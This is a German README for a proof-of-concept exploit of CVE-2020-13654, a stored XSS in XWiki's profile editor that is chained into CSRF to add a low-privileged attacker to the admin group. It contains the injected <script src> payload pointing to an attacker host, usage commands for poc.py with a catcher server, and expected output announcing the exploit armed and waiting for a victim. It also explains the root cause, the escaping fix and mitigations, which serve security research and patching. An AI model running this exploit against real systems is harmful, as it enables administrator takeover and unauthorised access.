CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Privilege Escalation

Entdeckt und gemeldet von: Astaruf
Vollständiger Bericht: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2020-13654

Schwachstelle

XWiki Platform vor Version 12.8 wendet keine HTML-Kodierung auf benutzergesteuerte Felder im Profileditor an. Das im Rahmen der Forschung bestätigte betroffene Feld ist "Firma" (unter Bearbeiten → Persönliche Informationen), aber andere Profilfelder teilen denselben Codepfad.

Wenn eine Profilseite gerendert wird, wird der gespeicherte Feldwert ohne Aufruf von $escapetool.xml() oder einer entsprechenden Maskierung direkt in das HTML ausgegeben. Ein Angreifer mit einem beliebigen authentifizierten Konto, einschließlich eines frisch selbstregistrierten, kann beliebiges HTML/JavaScript speichern, das bei jedem Besucher der Profilseite, einschließlich Administratoren, persistent im Browser ausgeführt wird.

Grundursache in der betroffenen Velocity-Vorlage:

## Angreifbar (< 12.8): Wert direkt ins DOM geschrieben
$xwiki.getUserProperty($user, "company")

## Behoben (≥ 12.8): Wert vor Ausgabe HTML-kodiert
$escapetool.xml($xwiki.getUserProperty($user, "company"))

Angriffsszenario

Dieser PoC demonstriert eine Zero-Click-Privilege-Escalation-Kette:

Niedrigprivilegiertes Angreiferkonto
        │
        ├─ speichert <script src="http://angreifer/payload.js"> im Feld "Firma"
        ▼
  XWiki-Profilseite (vergiftet)
        │
        ├─ Admin navigiert zur Seite (z. B. über Benutzerliste oder Support-Ticket)
        ▼
  Payload wird in der Admin-Browser-Sitzung ausgeführt
        │
        ├─ ruft /bin/view/XWiki/XWikiAdminGroup ab → extrahiert CSRF-Token
        ├─ sendet POST mit form_token + xpage=adduorg + name=angreifer → fügt Angreifer zu XWikiAdminGroup hinzu
        │
        ▼
  Angreifer hat nun vollen Admin-Zugriff

Es ist keine Admin-Interaktion über einen einzigen Seitenbesuch hinaus erforderlich.

PoC

poc.py ist ein eigenständiges Exploit-Skript. Es:

1. Registriert optional ein neues niedrigprivilegiertes Konto über den offenen Registrierungsendpunkt von XWiki
2. Authentifiziert das Angreiferkonto und injiziert die XSS-Payload in das Profilfeld Company, wobei alle anderen vorhandenen Feldwerte erhalten bleiben
3. Überprüft, ob die Payload im Quelltext der gerenderten Seite vorhanden ist
4. Startet einen integrierten HTTP-Server, der die eingebettete JavaScript-Payload (/payload.js) ausliefert und eingehende Beacons protokolliert
5. Wartet darauf, dass ein Administrator die vergiftete Profil-URL besucht

Wenn der Admin die URL besucht, lädt das gespeicherte <script src="...">-Tag payload.js vom Server des Angreifers. Die Payload wird im authentifizierten Browser-Kontext des Admins ausgeführt, fügt das Angreiferkonto stillschweigend zu XWikiAdminGroup hinzu und sendet das Ergebnis als Beacon zurück.

Verwendung

pip install -r requirements.txt

Mit Selbstregistrierung (kein vorhandenes Konto nötig):

python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ANGREIFER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

Mit einem vorhandenen niedrigprivilegierten Konto:

python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ANGREIFER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

Argumente

Erwartete Ausgabe

[*] Registriere Konto 'hacker' ...
✅  Registrierung erfolgreich.
[*] Authentifiziere als 'hacker' ...
✅  Authentifiziert. Sitzung: {'JSESSIONID': 'ABC...'}
[*] Injiziere Payload in Profil von 'hacker' ...
✅  Payload gespeichert: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Überprüfe gespeicherte Payload ...
✅  Payload im Seitenquelltext bestätigt.

════════════════════════════════════════════════════════════
  EXPLOIT BEWAFFNET — WARTE AUF OPFER

  Teile diese URL mit (oder warte auf) einen Administrator:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  Bei Auslösung wird das Angreiferkonto 'hacker'
  stillschweigend zu XWikiAdminGroup hinzugefügt.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload wird im Browser des Opfers ausgeführt | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION ERFOLGREICH       | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

Behebung

Upgrade auf XWiki Platform ≥ 12.8.

Der Fix wendet $escapetool.xml() auf alle benutzergesteuerten Profilfelder an, bevor diese gerendert werden, und verhindert so die Injektion von rohem HTML/JavaScript.

Wenn ein sofortiges Upgrade nicht möglich ist, schränken Sie die Selbstregistrierung ein und begrenzen Sie die Profilsichtbarkeit auf vertrauenswürdige Benutzer über das Zugriffsrechtsmanagement von XWiki.

Zeitplan

Referenzen

• https://nvd.nist.gov/vuln/detail/CVE-2020-13654
• https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
• https://github.com/xwiki/xwiki-platform
• https://cwe.mitre.org/data/definitions/116.html

Haftungsausschluss

Dieses Repository wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt.
Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.
Der Autor übernimmt keine Haftung für Missbrauch.